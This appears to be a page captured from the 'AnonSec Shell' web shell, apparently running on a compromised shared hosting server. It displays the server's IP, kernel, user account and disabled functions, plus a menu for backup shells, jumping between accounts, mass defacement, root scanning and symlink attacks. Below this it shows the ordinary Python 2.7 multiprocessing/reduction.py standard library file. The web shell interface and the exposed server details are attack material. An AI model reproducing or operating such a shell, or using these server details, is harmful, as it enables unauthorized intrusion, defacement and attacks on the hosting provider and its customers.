AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell

Server IP : 46.28.45.50 / Your IP : 216.73.217.165 [ Reverse IP ]
Web Server : LiteSpeed
System : Linux in-mum-web1275.main-hosting.eu 4.18.0-553.124.4.lve.el8.x86_64 #1 SMP Fri May 15 13:02:13 UTC 2026 x86_64
User : u215115003 ( 215115003)
PHP Version : 8.1.34
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Domains : 2 Domains
MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF
Directory : /lib64/python2.7/multiprocessing/

Upload File :

[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]

Current File : /lib64/python2.7/multiprocessing//reduction.py

#
# Module to allow connection and socket objects to be transferred
# between processes
#
# multiprocessing/reduction.py
#
# Copyright (c) 2006-2008, R Oudkerk
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# 1. Redistributions of source code must retain the above copyright
#    notice, this list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright
#    notice, this list of conditions and the following disclaimer in the
#    documentation and/or other materials provided with the distribution.
# 3. Neither the name of author nor the names of any contributors may be
#    used to endorse or promote products derived from this software
#    without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
# OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
# OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
# SUCH DAMAGE.
#

__all__ = []

import os
import sys
import socket
import threading

import _multiprocessing
from multiprocessing import current_process
from multiprocessing.forking import Popen, duplicate, close, ForkingPickler
from multiprocessing.util import register_after_fork, debug, sub_debug
from multiprocessing.connection import Client, Listener


#
#
#

if not(sys.platform == 'win32' or hasattr(_multiprocessing, 'recvfd')):
    raise ImportError('pickling of connections not supported')

#
# Platform specific definitions
#

if sys.platform == 'win32':
    import _subprocess
    from _multiprocessing import win32

    def send_handle(conn, handle, destination_pid):
        process_handle = win32.OpenProcess(
            win32.PROCESS_ALL_ACCESS, False, destination_pid
            )
        try:
            new_handle = duplicate(handle, process_handle)
            conn.send(new_handle)
        finally:
            close(process_handle)

    def recv_handle(conn):
        return conn.recv()

else:
    def send_handle(conn, handle, destination_pid):
        _multiprocessing.sendfd(conn.fileno(), handle)

    def recv_handle(conn):
        return _multiprocessing.recvfd(conn.fileno())

#
# Support for a per-process server thread which caches pickled handles
#

_cache = set()

def _reset(obj):
    global _lock, _listener, _cache
    for h in _cache:
        close(h)
    _cache.clear()
    _lock = threading.Lock()
    _listener = None

_reset(None)
register_after_fork(_reset, _reset)

def _get_listener():
    global _listener

    if _listener is None:
        _lock.acquire()
        try:
            if _listener is None:
                debug('starting listener and thread for sending handles')
                _listener = Listener(authkey=current_process().authkey)
                t = threading.Thread(target=_serve)
                t.daemon = True
                t.start()
        finally:
            _lock.release()

    return _listener

def _serve():
    from .util import is_exiting, sub_warning

    while 1:
        try:
            conn = _listener.accept()
            handle_wanted, destination_pid = conn.recv()
            _cache.remove(handle_wanted)
            send_handle(conn, handle_wanted, destination_pid)
            close(handle_wanted)
            conn.close()
        except:
            if not is_exiting():
                import traceback
                sub_warning(
                    'thread for sharing handles raised exception :\n' +
                    '-'*79 + '\n' + traceback.format_exc() + '-'*79
                    )

#
# Functions to be used for pickling/unpickling objects with handles
#

def reduce_handle(handle):
    if Popen.thread_is_spawning():
        return (None, Popen.duplicate_for_child(handle), True)
    dup_handle = duplicate(handle)
    _cache.add(dup_handle)
    sub_debug('reducing handle %d', handle)
    return (_get_listener().address, dup_handle, False)

def rebuild_handle(pickled_data):
    address, handle, inherited = pickled_data
    if inherited:
        return handle
    sub_debug('rebuilding handle %d', handle)
    conn = Client(address, authkey=current_process().authkey)
    conn.send((handle, os.getpid()))
    new_handle = recv_handle(conn)
    conn.close()
    return new_handle

#
# Register `_multiprocessing.Connection` with `ForkingPickler`
#

def reduce_connection(conn):
    rh = reduce_handle(conn.fileno())
    return rebuild_connection, (rh, conn.readable, conn.writable)

def rebuild_connection(reduced_handle, readable, writable):
    handle = rebuild_handle(reduced_handle)
    return _multiprocessing.Connection(
        handle, readable=readable, writable=writable
        )

ForkingPickler.register(_multiprocessing.Connection, reduce_connection)

#
# Register `socket.socket` with `ForkingPickler`
#

def fromfd(fd, family, type_, proto=0):
    s = socket.fromfd(fd, family, type_, proto)
    if s.__class__ is not socket.socket:
        s = socket.socket(_sock=s)
    return s

def reduce_socket(s):
    reduced_handle = reduce_handle(s.fileno())
    return rebuild_socket, (reduced_handle, s.family, s.type, s.proto)

def rebuild_socket(reduced_handle, family, type_, proto):
    fd = rebuild_handle(reduced_handle)
    _sock = fromfd(fd, family, type_, proto)
    close(fd)
    return _sock

ForkingPickler.register(socket.socket, reduce_socket)

#
# Register `_multiprocessing.PipeConnection` with `ForkingPickler`
#

if sys.platform == 'win32':

    def reduce_pipe_connection(conn):
        rh = reduce_handle(conn.fileno())
        return rebuild_pipe_connection, (rh, conn.readable, conn.writable)

    def rebuild_pipe_connection(reduced_handle, readable, writable):
        handle = rebuild_handle(reduced_handle)
        return _multiprocessing.PipeConnection(
            handle, readable=readable, writable=writable
            )

    ForkingPickler.register(_multiprocessing.PipeConnection, reduce_pipe_connection)

Anon7 - 2022
AnonSec Team